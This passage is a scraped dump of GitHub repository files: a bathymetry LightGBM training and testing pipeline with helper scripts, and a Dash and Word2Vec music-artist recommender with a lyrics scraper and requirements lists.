callbacks=[print_ts()],\n )\n logger('Training completed.')\n return gbm\n\n\ndef persist_model(base_dir, region, gbm):\n if not os.path.exists(base_dir):\n os.mkdir(base_dir)\n txt_model_path = os.path.join(base_dir, '{}_model.txt'.format(region))\n pkl_model_path = os.path.join(base_dir, '{}_model.pkl'.format(region))\n gbm.save_model(txt_model_path)\n with open(pkl_model_path, 'wb') as fout:\n pickle.dump(gbm, fout)\n return (txt_model_path, pkl_model_path)\n\n\n# In[ ]:\n\n\ndef run_test(features_test, labels_test, pkl_model_path):\n # format raw testing input\n features = np.concatenate(features_test, axis=0)\n true = labels_test * 1\n\n # load model with pickle to predict\n with open(pkl_model_path, 'rb') as fin:\n model = pickle.load(fin)\n\n # Prediction\n preds = model.predict(features)\n scores = np.clip(preds, 1e-15, 1.0 - 1e-15)\n logger('finished prediction')\n\n # compute auprc\n loss = np.mean(true * -np.log(scores) + (1 - true) * -np.log(1.0 - scores))\n precision, recall, _ = precision_recall_curve(true, scores, pos_label=1)\n auprc = auc(recall, precision)\n fpr, tpr, _ = roc_curve(true, scores, pos_label=1)\n auroc = auc(fpr, tpr)\n # accuracy\n acc = np.sum(true == (scores > 0.5)) / true.shape[0]\n\n logger(\"eval, {}, {}, {}, {}, {}\".format(model.num_trees(), loss, auprc, auroc, acc))\n return (true, scores)\n\n\ndef get_datasets(filepaths, is_read_text, limit=None, prefix=\"\", get_label=lambda cols: cols[4] == '9999'):\n def read_bin(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\n def write_bin(features, labels, weights, filename):\n with open(filename, 'wb') as f:\n pickle.dump((features, labels, weights), f, protocol=4)\n\n def read_text(filename):\n features = []\n labels = []\n with open(filename) as fread:\n for line in fread:\n cols = line.strip().split()\n if not cols:\n continue\n cols[29] = DATA_TYPE[cols[29]]\n labels.append(get_label(cols))\n features.append(np.array(\n [float(cols[i]) for i in range(len(cols)) if i not in removed_features]\n ))\n assert(len(features) == len(labels))\n weights = np.ones_like(labels) * max(MAX_WEIGHT, 1.0 / max(1.0, len(labels)))\n return (np.array(features), labels, weights.tolist())\n\n interval = 20\n if prefix:\n prefix = prefix + \"_\"\n\n filepaths = [filename.strip() for filename in filepaths if filename.strip()]\n removed_features = [0, 1, 3, 4, 5, 7]\n features_list = []\n all_labels = []\n all_weights = []\n last_pos_features = 0\n last_pos_labels = 0\n for count, filename in enumerate(filepaths):\n bin_filename = prefix + os.path.basename(filename) + \".pkl.data\"\n if not is_read_text and not os.path.exists(bin_filename):\n continue\n try:\n if is_read_text:\n features, labels, weights = read_text(filename)\n features_list.append(features)\n all_labels += labels\n all_weights += weights\n else:\n features, labels, weights = read_bin(bin_filename)\n features_list += features\n all_labels += labels\n all_weights += weights\n logger(\"loaded \" + filename + \", length: \" + str(len(features_list)))\n except Exception as err:\n logger(\"Failed to load \" + filename + \". Error: {}\".format(err))\n if is_read_text and (count + 1) % interval == 0 and last_pos_features < len(features_list):\n logger(\"To write {} arrays, {} examples\".format(\n len(features_list) - last_pos_features, len(all_labels) - last_pos_labels))\n write_bin(features_list[last_pos_features:], all_labels[last_pos_labels:], all_weights[last_pos_labels:], bin_filename)\n last_pos_features = len(features_list)\n last_pos_labels = len(all_labels)\n if limit is not None and len(features_list) > limit:\n break\n # Handle last batch\n if is_read_text and last_pos_features < len(features_list):\n write_bin(features_list[last_pos_features:], all_labels[last_pos_labels:], all_weights[last_pos_labels:], bin_filename)\n # Format labels and weights\n all_labels = np.array(all_labels)\n all_weights = np.array(all_weights)\n if np.any(all_labels < 0):\n all_labels = (all_labels > 0) * 1\n print(sum(len(t) for t in features_list), len(features_list), len(all_labels))\n return (features_list, all_labels, all_weights)\n\n\ndef main_train(config, is_read_text):\n base_dir = config[\"base_dir\"]\n with open(config[\"training_files\"]) as f:\n all_training_files = f.readlines()\n with open(config[\"validation_files\"]) as f:\n all_valid_files = f.readlines()\n\n regions = ['AGSO', 'JAMSTEC', 'JAMSTEC2', 'NGA', 'NGDC', 'NOAA_geodas', 'SIO', 'US_multi']\n for region in regions:\n logger(\"Now training {}\".format(region))\n logger(\"start constructing datasets\")\n training_files = [filepath for filepath in all_training_files if \"/{}/\".format(region) in filepath]\n valid_files = [filepath for filepath in all_valid_files if \"/{}/\".format(region) in filepath]\n logger(\"Training files: {}/{}\\nValidation files: {}/{}\".format(\n len(training_files), len(all_training_files), len(valid_files), len(all_valid_files)))\n (features_train, labels_train, weights_train) = get_datasets(training_files, is_read_text, prefix=\"train\", limit=3000)\n # weights_train = np.ones_like(weights_train)\n train = lgb.Dataset(features_train, label=labels_train, weight=weights_train, params={'max_bin': config[\"max_bin\"]})\n (features_valid, labels_valid, weights_valid) = get_datasets(valid_files, is_read_text, prefix=\"valid\", limit=3000)\n # weights_valid = np.ones_like(weights_valid)\n valid = lgb.Dataset(features_valid, label=labels_valid, weight=weights_valid, params={'max_bin': config[\"max_bin\"]})\n logger(\"start training\")\n model = train_lgb(\n train,\n valid,\n config[\"num_leaves\"],\n config[\"rounds\"],\n config[\"early_stopping_rounds\"],\n config[\"max_bin\"],\n )\n logger(\"finished training\")\n (_, pkl_model_path) = persist_model(base_dir, region, model)\n logger(\"model is persisted at {}\".format(pkl_model_path))\n\n\ndef main_test(config, is_read_text):\n base_dir = config[\"base_dir\"]\n logger(\"start testing\")\n with open(config[\"testing_files\"]) as f:\n all_testing_files = f.readlines()\n\n regions = ['AGSO', 'JAMSTEC', 'JAMSTEC2', 'NGA', 'NGDC', 'NOAA_geodas', 'SIO', 'US_multi']\n for region in regions:\n testing_files = [filepath for filepath in all_testing_files if \"/{}/\".format(region) in filepath]\n logger(\"start constructing datasets\")\n (features_test, labels_test, weights_test) = get_datasets(testing_files, is_read_text, prefix=\"test\", limit=3000)\n logger(\"finished loading testing data\")\n pkl_model_path = os.path.join(base_dir, '{}_model.pkl'.format(region))\n (true, scores) = run_test(features_test, labels_test, pkl_model_path)\n with open(\"testing_result_{}.pkl\".format(region), 'wb') as fout:\n pickle.dump((true, scores, weights_test), fout)\n logger(\"finished testing\")\n\n\n# In[ ]:\n\n\nDATA_BASE_DIR = \"/geosat2/julaiti/tsv_all\"\nTRAINING_FILES_DESC = os.path.join(DATA_BASE_DIR, \"training_files_desc.txt\")\nVALIDATION_FILES_DESC = os.path.join(DATA_BASE_DIR, \"validation_files_desc.txt\")\nTESTING_FILES_DESC = os.path.join(DATA_BASE_DIR, \"testing_files_desc.txt\")\nconfig = {\n \"base_dir\": \"./\",\n \"training_files\": TRAINING_FILES_DESC,\n \"validation_files\": VALIDATION_FILES_DESC,\n \"testing_files\": TESTING_FILES_DESC,\n \"num_leaves\": 31,\n \"rounds\": 1000,\n \"early_stopping_rounds\": 1000,\n \"max_bin\": 255,\n}\n\n\nif __name__ == '__main__':\n t0 = time()\n if len(sys.argv) != 3:\n print(\"Usage: ./lgb.py <train|test|both> <text|bin>\")\n sys.exit(1)\n is_ok = False\n if sys.argv[1].lower() in [\"both\", \"train\"]:\n if os.path.exists(\"./train_log_file.txt\"):\n print(\"Train log file exists. Quit.\")\n sys.exit(1)\n flog = open(\"./train_log_file.txt\", 'w')\n main_train(config, sys.argv[2].lower() == \"text\")\n is_ok = True\n if sys.argv[1].lower() in [\"both\", \"test\"]:\n if os.path.exists(\"./test_log_file.txt\"):\n print(\"Test log file exists. Quit.\")\n sys.exit(1)\n flog = open(\"./test_log_file.txt\", 'w')\n main_test(config, sys.argv[2].lower() == \"text\")\n is_ok = True\n if not is_ok:\n print(\"Cannot understand the parameters.\\nUsage: ./lgb.py <train|test|both> <text|bin>\")\n flog.close()\n\n\n\n# AdaBoost potential function\n\"\"\"\ndef expobj(preds, dtrain):\n labels = ((dtrain.get_label() > 0) * 2 - 1).astype(\"float16\")\n hess = np.exp(-labels * preds) # exp(-margin)\n return -labels * hess, hess # grad, hess\n\n\n# self-defined eval metric\n# f(preds: array, train_data: Dataset) -> name: string, eval_result: float, is_higher_better: bool\n# binary error\ndef exp_eval(preds, data):\n labels = ((data.get_label() > 0) * 2 - 1).astype(\"float16\")\n return 'potential', np.mean(np.exp(-labels * preds)), False\n\n\ndef construct_data(features, labels, max_bin):\n all_train = lgb.Dataset(features, label=labels, params={'max_bin': max_bin})\n all_train.construct()\n size = all_train.num_data()\n # Split training and validating\n thr = int(size * 0.1)\n training = all_train.subset(list(range(0, thr)))\n validating = all_train.subset(list(range(thr, size)))\n # scale pos weight\n labels = all_train.get_label()\n positive = np.array(labels).sum()\n negative = size - positive\n scale_pos_weight = 1.0 * negative / positive\n return ((training, validating), scale_pos_weight)\n\"\"\"\n\n" }, { "alpha_fraction": 0.3920367658138275, "alphanum_fraction": 0.4180704355239868, "avg_line_length": 28.68181800842285, "blob_id": "d34bd103a9774558de1fadc31cb3144f53ce1915", "content_id": "caa296cb6f62aa59bd6d904bea68c75ebb4cd2e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 653, "license_type": "no_license", "max_line_length": 74, "num_lines": 22, "path": "/analysis/parser/parse_table_from_scratch.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import sys\n\nnum_rows = 9\nnum_cols = 9\n\nwith open(sys.argv[1]) as f:\n for row in range(num_rows):\n #if row == num_rows - 1:\n # print(\"\\\\hline\")\n for col in range(num_cols):\n line = f.readline()\n vals = line.split()\n row_name = vals[0].strip()\n value = float(vals[-1])\n if col == 0:\n print(\"{} \".format(row_name.replace(\"_\", \" \")), end='')\n if col == row:\n print(\"& {\\color{blue} %.2f } \" % (value * 100.0), end='')\n else:\n print(\"& %.2f \" % (value * 100.0), end='')\n print(\"\\\\\\\\\")\nprint(\"\\\\hline\")\n" }, { "alpha_fraction": 0.7464788556098938, "alphanum_fraction": 0.7464788556098938, "avg_line_length": 24.285715103149414, "blob_id": "e41a12a89f3c092abca34e224d6fd03053958edd", "content_id": "0722236467253423dd3910465c940de6f751daa1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 355, "license_type": "no_license", "max_line_length": 75, "num_lines": 14, "path": "/README.md", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "# Bathymetry Analysis\n\n\n## Content\n\n`data-process/` - Pre-process the raw data to fit the required input format\n\n`modeling/` - Training and testing on the processed datasets\n\n`analysis/` - The notebooks for analyzing the modeling results\n\n`commons/` - Other utility code, e.g. exporting the prediction scores\n\n`old-code/` - Legacy code, no longer needed\n\n" }, { "alpha_fraction": 0.6073479056358337, "alphanum_fraction": 0.6222732663154602, "avg_line_length": 36.826087951660156, "blob_id": "ee46f315c5d812cabe004ae6cb82931e74d00ec2", "content_id": "853b42dcf3fb5ae795997049631f026e73728495", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 871, "license_type": "no_license", "max_line_length": 88, "num_lines": 23, "path": "/data-process/train-test-split.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "import os\nimport random\n\n\nbase_dir = \"/cryosat3/btozer/CREATE_ML_FEATURES/tsv_all\"\nregions = ['AGSO', 'JAMSTEC', 'NGA', 'NGDC', 'NOAA_geodas', 'SIO', 'US_multi']\n\n# AGSO => .tsv_ky \n# others => .tsv\nfor region in regions:\n dirname = os.path.join(base_dir, region)\n ext = \".tsv\"\n if region == \"AGSO\":\n ext = \".tsv_ky\"\n filenames = [filename for filename in os.listdir(dirname) if filename.endswith(ext)]\n random.shuffle(filenames)\n filenames = [os.path.join(dirname, filename) for filename in filenames]\n\n s0, s1 = int(len(filenames) * 0.15), int(len(filenames) * 0.30)\n tests, validates, trains = filenames[:s0], filenames[s0:s1], filenames[s1:]\n for name, dataset in [(\"test\", tests), (\"validate\", validates), (\"train\", trains)]:\n with open(\"{}-{}.txt\".format(region, name), \"w\") as f:\n f.write(\"\\n\".join(dataset))\n\n" }, { "alpha_fraction": 0.5794852375984192, "alphanum_fraction": 0.5859197378158569, "avg_line_length": 27.397850036621094, "blob_id": "84fa1b60430f063c6b57830101336230259177a4", "content_id": "e2fa84a69dc170bf3dd3474d9c2d91d8e19c9634", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2642, "license_type": "no_license", "max_line_length": 78, "num_lines": 93, "path": "/old-code/trained-one-source/cross_testing.py", "repo_name": "arapat/bathymetry-analysis", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport os\nimport re\nimport sys\nimport pickle\nimport numpy as np\nimport lightgbm as lgb\nfrom sklearn.metrics import auc\nfrom sklearn.metrics import precision_recall_curve\nfrom sklearn.metrics import roc_curve\nfrom time import time\n\ndef get_model_and_testing():\n pattern = r\"[a-zA-Z]+\"\n model_pkl = \"model.pkl\"\n testing_file = \"testing.libsvm\"\n ret = []\n for root, subdirs, files in os.walk(\"./\"):\n if \"backup\" not in root and root.endswith(\"libsvm\"):\n files = (\n re.findall(pattern, root)[0],\n (\n root,\n os.path.join(root, model_pkl),\n os.path.join(root, testing_file),\n ),\n )\n for filename in files[1]:\n assert(os.path.exists(filename))\n ret.append(files)\n return ret\n\n\n# for performance\nt0 = time()\n\ndef logger(s, show_time=False):\n if show_time:\n print(\"Current time: %.2f\" % time())\n print(\"[%.5f] %s\" % (time() - t0, s))\n sys.stdout.flush()\n\n\ndef run_test(testing_path, pkl_model_path, max_bin):\n # get true labels\n testing = lgb.Dataset(testing_path, params={'max_bin': max_bin})\n testing.construct()\n true = (testing.get_label() > 0) * 2 - 1\n testing = lgb.Dataset(testing_path, params={'max_bin': max_bin})\n\n # load model with pickle to predict\n with open(pkl_model_path, 'rb') as fin:\n pkl_bst = pickle.load(fin)\n\n # Prediction\n preds = pkl_bst.predict(testing_path)\n logger('finished prediction')\n\n # compute auprc\n scores = preds\n loss = np.mean(np.exp(-true * scores))\n precision, recall, _ = precision_recall_curve(true, scores, pos_label=1)\n # precision[-1] = np.sum(true > 0) / true.size\n auprc = auc(recall, precision)\n fpr, tpr, _ = roc_curve(true, scores, pos_label=1)\n auroc = auc(fpr, tpr)\n\n logger(\"eval, {}, {}, {}, {}, {}\".format(\n testing_path, pkl_bst.num_trees(), loss, auprc, auroc))\n return scores\n\n\ndef persist_score(root, model_id, test_id, scores):\n filename = os.path.join(root, \"scores_ms_{}_{}\".format(model_id, test_id))\n with open(filename, 'wb') as fout:\n pickle.dump(scores, fout)\n\n\n\nret = get_model_and_testing()\nmax_bin = 63\nfor model_id, (_, model, _) in ret:\n for test_id, (test_root, _, test) in ret:\n if test_id == \"JAMSTEC\" or test_id == \"NGDC\":\n continue\n logger(\"Using model {} to predict {}\".format(model_id, test_id))\n scores = run_test(test, model, max_bin)\n persist_score(test_root, model_id, test_id, scores)\n\n" } ]
12
matt8955/song-vectormender
https://github.com/matt8955/song-vectormender
abf52162bfb91e6e12800c38684da35404cd6f7a
d5c0fdd2e946297bc6bf77ea0e50090ef63fef7f
e83f7650cc04f91792ec175a29029bb2ffb470a7
refs/heads/master
2023-06-09T04:06:49.194523
2023-06-03T21:54:44
2023-06-03T21:54:44
205,130,758
0
0
null
2019-08-29T09:42:14
2020-08-19T14:43:34
2022-12-08T06:37:56
Jupyter Notebook
[ { "alpha_fraction": 0.6255924105644226, "alphanum_fraction": 0.6368939280509949, "avg_line_length": 26.420000076293945, "blob_id": "a2d78699f9951592f04849f37bf2e7e26381f615", "content_id": "32846251acef6a1e8d66a8550053ecf173afd376", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2743, "license_type": "no_license", "max_line_length": 105, "num_lines": 100, "path": "/app.py", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport pickle\nfrom dash.dependencies import Input, Output\nimport app_functions as af\nimport pandas as pd\nimport plotly.express as px\n\n\n#load artist list (have to repickle with new data)\nwith open('artist_list.pkl', 'rb') as f:\n artist_options = pickle.load(f)\n\n#load graph coords df (have to repickle with new data)\nwith open('graph_frame.pkl', 'rb') as f:\n df = pickle.load(f)\n\n###HTML ELEMENTS\n\ngrid_pad = {'padding-bottom': '730px', 'text-align': 'center'}\n\n\nheader = html.Div(className=\"jumbotron-fluid text-center\",\nstyle = {'padding-bottom': '20px'},\nchildren=[\n html.H1(children='Vectomendation Machine v0.01a'),\n html.P('A music recommendation engine powered by user playlists and the Word2Vec Model'),\n html.P(''),\n html.P('created by Matthew Wasserman, Flatiron School')\n ])\n\ndropdown = html.Div(style = {'padding-bottom': '20px'},children=[\n dcc.Dropdown(id='artist-selector',\n options = list(artist_options),\n multi=True,\n placeholder=\"Select your favorite bands!!!\"\n )\n])\nlist_ = html.Span(children=[html.Ol(children=['hello',' its me.......'])])\n\ngrid = html.Div(className=\"row\",\nchildren=[\n html.Div(style=grid_pad,className=\"col\", children = html.Div(id='my-div')),\n html.Div(style=grid_pad,className=\"col\", children = dcc.Graph(style={'opacity': '0.75'},id='graph')),\n html.Div(className=\"w-100\"),\n])\n\ntest_div = html.Div([\n html.Div(id='my-div')\n])\n\n\ncolors = {\n 'background': '#1DB954',\n \"text\": \"#00e5ff\",\n \"background-image\" : \"url('/assets/wallpaper_opacity.png')\",\n # \"background-size\": \"cover\",\n}\n####################### main site ###########################\n\napp = dash.Dash(__name__)\nserver = app.server\n\napp.title = 'ArtistVectomender'\n\napp.layout = html.Div(id='body',style=colors, children = [\n header,dropdown,grid,\n])\n\[email protected](\n Output(component_id='my-div', component_property='children'),\n [Input(component_id='artist-selector', component_property='value')]\n)\ndef update_output_div(input_value):\n recs = af.recommend(input_value)\n h_list = []\n for rec in recs:\n h_list.append(html.H3(rec))\n return h_list\n\[email protected](\n Output(component_id='graph', component_property='figure'),\n [Input(component_id='artist-selector', component_property='value')]\n)\ndef make_figure(input_value):\n points = input_value + af.recommend(input_value)\n data = df[df.artist.isin(points)]\n return px.scatter_3d(\n data,\n x='x',\n y='y',\n z='z',\n color='cluster',\n hover_data=['artist','cluster'],\n height=700,\n )\n\nif __name__ == '__main__':\n app.run_server(debug=True), #style={'columnCount': 1})\n\n" }, { "alpha_fraction": 0.7904015779495239, "alphanum_fraction": 0.796278178691864, "avg_line_length": 29.939393997192383, "blob_id": "77a09706e81ab67595ac168ff254a6682a97576e", "content_id": "a777e97196c0db5c36a93347a503ede857821736", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1021, "license_type": "no_license", "max_line_length": 124, "num_lines": 33, "path": "/README.md", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "# song-vectormender\n\nFinal project for my data science program at Flatiron School, New York City.\nThe project's goal was to create an artist recommendation engine using just playlist information to discover song similarity\n\n\n\n# Data Collection\n\n* Scraped Twitter for publicly tweeted spotify playlists\n* Collected song ids for all playlists with Spotify's Api\n* Collected artist and song information from Spotify's Api\n\n\n# Data Cleaning\n\n* removed all playlists that had the same Artist over 75% of the time\n* removed all artists that did not appear over 100 times total \n\n# Model\n\n* Used Word2Vec to create word embeddings to create vector space of all artists on the playlists\n* Made reccomendations based on nearest neighbor of artist or average vector of multiple artist selections of the user\n\n# Usage\n\nrun the following from the dash_app directory and direct your browser to the given web address in your command line\n\n`python app.py`\n\nor try the deployed version on heroku\n\nhttps://song-vectomender.herokuapp.com/\n" }, { "alpha_fraction": 0.47651442885398865, "alphanum_fraction": 0.4846128821372986, "avg_line_length": 33.10112380981445, "blob_id": "9e543f41235d364004ec7406d1135766b18e7a37", "content_id": "bbe49bc1057b2854e26f6b0a15e7e15498c0006d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3087, "license_type": "no_license", "max_line_length": 82, "num_lines": 89, "path": "/functions.py", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "import gensim\nfrom fuzzywuzzy import process\nimport numpy as np\nfrom fuzzywuzzy import process\nfrom gensim.models import Word2Vec\nfrom collections import Counter\n\n#load w2v model\n#model = Word2Vec.load(\"no_dups_10window_word2vec.model\")\n\ndef remove_artists(artist):\n '''removes artists that are bad suggestions on a whole'''\n bad = ['Thunderstorms', 'Thunderstorm Global Project from TraxLab','Sheikh Saad Al Ghamdi',\n 'Sheikh Mishary Alafasy']\n if artist in bad:\n return np.nan\n else:\n return artist\n\ndef too_many(x, threshold):\n '''checks if one artist is above a certain thereshold in list\n if yes then remove playlist'''\n\n c = Counter(x)\n for value in c.values():\n if (value/len(x)) >= threshold:\n return np.nan\n return x\n\ndef most_similar(artist):\n x = process.extractOne(artist,list(model.wv.vocab))[0]\n print(f'searching for {x}.....')\n matches = model.wv.most_similar(x)\n #print matching artists\n for match in matches:\n print(match[0])\n \ndef did_you_mean(user, artist):\n ans = input(f'You entered {user}: Did you mean {artist}? (y/n)')\n return ans\n\ndef many_artist(*argv):\n '''queries user for multiple artists and fuzzy matches to an artist in the\n vocabulary of the model, then makes a reccomendation'''\n #check if artist even in vocab of model\n artists = []\n field = list(model.wv.vocab)\n for arg in argv:\n i = 0 \n while i != 4:\n results = process.extractBests(arg, field)\n for result in results:\n ans = did_you_mean(arg, result[0])\n if ans == 'y':\n artists.append(result[0])\n i = 4\n break\n elif ans == 'n':\n if i == 4:\n #end of results \n print(f'Support for {arg} will be in a future release :(')\n break\n else:\n i += 1\n continue\n else:\n dick = 0\n while ans not in ['y', 'n']:\n if dick == 2:\n ans = input('Stop being a d**k, y or n....')\n dick +=1\n if dick > 2:\n print('DUDE')\n ans = 'y'\n i=4\n else:\n ans = input('Please type y or n....')\n dick += 1\n break\n \n if len(artists) > 0: \n #get avg of all artist vectors then get closest to that vector\n vectors = [model[x] for x in artists]\n avg = sum(vectors)/len(argv)\n similar = model.wv.most_similar(positive=[avg], topn=len(artists)+10)\n similar = [x[0] for x in similar]\n result = [x for x in similar if x not in artists]\n #print in some way?\n return result\n \n \n \n \n" }, { "alpha_fraction": 0.501135528087616, "alphanum_fraction": 0.6949281096458435, "avg_line_length": 15.721518516540527, "blob_id": "a097794a2188932b9d07b08755d26b048c62f578", "content_id": "7bfab1de709eb168e514f3ecf681a3b146c2e06f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1321, "license_type": "no_license", "max_line_length": 25, "num_lines": 79, "path": "/scraping/lyrics/requirements.txt", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "aiodns==2.0.0\naiohttp==3.6.2\naiohttp-socks==0.5.3\nappnope==0.1.0\nargon2-cffi==20.1.0\nastroid==2.4.2\nasync-timeout==3.0.1\nattrs==20.1.0\nbackcall==0.2.0\nbeautifulsoup4==4.9.1\nbleach==3.1.5\nbrotlipy==0.7.0\ncchardet==2.1.6\ncffi==1.14.2\nchardet==3.0.4\ndecorator==4.4.2\ndefusedxml==0.6.0\nentrypoints==0.3\nflake8==3.8.3\nidna==2.10\nipykernel==5.3.4\nipython==7.18.1\nipython-genutils==0.2.0\nipywidgets==7.5.1\nisort==5.5.1\njedi==0.17.2\nJinja2==2.11.2\njsonschema==3.2.0\njupyter==1.0.0\njupyter-client==6.1.7\njupyter-console==6.2.0\njupyter-core==4.6.3\nlazy-object-proxy==1.4.3\nlxml==4.5.2\nMarkupSafe==1.1.1\nmccabe==0.6.1\nmistune==0.8.4\nmultidict==4.7.6\nnbconvert==5.6.1\nnbformat==5.0.7\nnest-asyncio==1.4.0\nnotebook==6.1.3\nnumpy==1.19.1\npackaging==20.4\npandas==1.1.1\npandocfilters==1.4.2\nparso==0.7.1\npexpect==4.8.0\npickleshare==0.7.5\nprometheus-client==0.8.0\nprompt-toolkit==3.0.7\nptyprocess==0.6.0\npycares==3.1.1\npycodestyle==2.6.0\npycparser==2.20\npyflakes==2.2.0\nPygments==2.6.1\npylint==2.6.0\npyparsing==2.4.7\npyrsistent==0.16.0\npython-dateutil==2.8.1\npytz==2020.1\npyzmq==19.0.2\nqtconsole==4.7.7\nQtPy==1.9.0\nSend2Trash==1.5.0\nsix==1.15.0\nsoupsieve==2.0.1\nterminado==0.8.3\ntestpath==0.4.4\ntoml==0.10.1\ntornado==6.0.4\ntqdm==4.48.2\ntraitlets==5.0.3\nwcwidth==0.2.5\nwebencodings==0.5.1\nwidgetsnbextension==3.5.1\nwrapt==1.12.1\nyarl==1.5.1\n" }, { "alpha_fraction": 0.47948718070983887, "alphanum_fraction": 0.692307710647583, "avg_line_length": 15.956521987915039, "blob_id": "94253dbf0bae7c17da7d91d9a90ff2b5f00bcdae", "content_id": "492d0053a8d838e99c6ced0f12e1d6644f663cea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 780, "license_type": "no_license", "max_line_length": 27, "num_lines": 46, "path": "/requirements.txt", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "astroid==2.2.5\nbeautifulsoup4==4.7.1\nboto==2.49.0\nboto3==1.9.235\nbotocore==1.12.235\ncertifi==2019.9.11\nchardet==3.0.4\nClick==7.0\ndash==1.3.1\ndash-core-components==1.2.1\ndash-html-components==1.0.1\ndash-renderer==1.1.0\ndash-table==4.3.0\ndocutils==0.15.2\nFlask==1.1.1\nFlask-Compress==1.4.0\nfuture==0.17.1\nfuzzywuzzy==0.17.0\ngensim==3.8.0\ngunicorn==19.9.0\nidna==2.8\nitsdangerous==1.1.0\nJinja2==2.10.1\njmespath==0.9.4\nlazy-object-proxy==1.4.1\nMarkupSafe==1.1.1\nmccabe==0.6.1\nnumpy==1.16.3\npandas==0.24.2\nplotly==4.1.1\npygame==1.9.6\npylint==2.3.1\npython-dateutil==2.8.0\npython-Levenshtein==0.12.0\npytz==2019.1\nrequests==2.22.0\nretrying==1.3.3\ns3transfer==0.2.1\nscipy==1.2.1\nsix==1.12.0\nsmart-open==1.8.4\nsoupsieve==1.9.1\ntyped-ast==1.4.0\nurllib3==1.25.6\nWerkzeug==0.16.0\nwrapt==1.11.2\n" }, { "alpha_fraction": 0.5969151854515076, "alphanum_fraction": 0.6071979403495789, "avg_line_length": 35.71697998046875, "blob_id": "771302502684032c959285a20e2008bcc7e5af76", "content_id": "8a4e9f1a82f33397ef0d9d6b3bc38185a9607751", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1945, "license_type": "no_license", "max_line_length": 105, "num_lines": 53, "path": "/scraping/lyrics/scraper_1.py", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "import csv\nimport asyncio\nimport pandas as pd\nimport aiohttp \nimport asynclyrics\nfrom tqdm.asyncio import tqdm\n\ndef open_csv(path,size=20000):\n return pd.read_csv(path,chunksize=size)\n\nasync def write_result(id_, artist, writer,session,writer2):\n async with asyncio.Lock():\n if isinstance(artist,str): \n lyrics = await session.get_artist_lyrics(artist)\n await asyncio.sleep(2)\n if lyrics:\n for track, lyric in lyrics.items():\n if track:\n [writer.writerow([id_,artist,track,num,line]) for \n num,line in enumerate(lyric.split(\" \\n \"))]\n else:\n writer2.writerow([id_, artist])\nasync def bound_fetch(id_,artist, writer, sem,session,writer2):\n # Getter function with semaphore.\n #since fxn has to pass in here we are blocking by 4 max semifore\n \n async with sem:\n await write_result(id_, artist, writer,session,writer2)\n\nasync def main(ids,names,i):\n # create instance of Semaphore\n \n \n \n with open(f'lyrics_scrape_{i}.csv', 'a') as success, open('fails.csv', 'a') as fail:\n writer = csv.writer(success, delimiter='|')\n failwriter = csv.writer(fail, delimiter='|')\n sem = asyncio.Semaphore(20) \n pylyrics = asynclyrics.AsyncLyrics()\n tasks = [bound_fetch(id_,artist,writer,sem,pylyrics,failwriter) for id_,artist in zip(ids,names)]\n [await f for f in tqdm(asyncio.as_completed(tasks), total=len(tasks))]\n await pylyrics.close_connection()\n\nif __name__ == \"__main__\":\n path = 'unique_artists.csv'\n artists_chunks = open_csv(path,5000)\n loop_up_to = 120\n for i, artists in enumerate(artists_chunks):\n if i > loop_up_to:\n ids = artists.artist_id.to_list()\n names = artists.name.to_list()\n asyncio.run(main(ids,names,i))\n print(f'finished chunk_{i}')" }, { "alpha_fraction": 0.6604709029197693, "alphanum_fraction": 0.6753407716751099, "avg_line_length": 32.625, "blob_id": "638c9680960502007152dbd2ec527139a733dd89", "content_id": "3a49399cc481e608ade95160208086d69998d50a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 807, "license_type": "no_license", "max_line_length": 78, "num_lines": 24, "path": "/app_functions.py", "repo_name": "matt8955/song-vectormender", "src_encoding": "UTF-8", "text": "import gensim\nfrom fuzzywuzzy import process\nimport numpy as np\nfrom gensim.models import Word2Vec\nfrom collections import Counter\n\nmodel = Word2Vec.load(\"no_dups_10window_word2vec.model\")\n\ndef recommend(*argv):\n '''queries user for multiple artists and fuzzy matches to an artist in the\n vocabulary of the model, then makes a reccomendation'''\n #check if artist even in vocab of model\n print(argv)\n if argv[0] == None:\n return ['Select an artist.....']\n elif argv[0] == []:\n return ['Select an artist.....']\n vectors = [model[artist] for artist in argv]\n avg = sum(vectors)/len(argv)\n similar = model.wv.most_similar(positive=avg, topn=len(argv[0])+15)\n similar = [x[0] for x in similar]\n result = [x for x in similar if x not in argv[0]]\n\n return result\n" } ]
7
taichiH/3DSSD
https://github.com/taichiH/3DSSD
ee7211bd054d0ca20cefda227b9f3030c4e191a8
7850d63c21ea594913dc636c6330c79305b652ab
927e8fc30cf7d2533ca59945a47865d9ef251103
refs/heads/master
2022-10-02T14:02:53.412705
2020-06-08T02:55:21
2020-06-08T02:55:21
269,549,487
0
0
MIT
2020-06-05T06:35:11
2020-06-04T16:28:59
2020-04-09T06:15:20
null
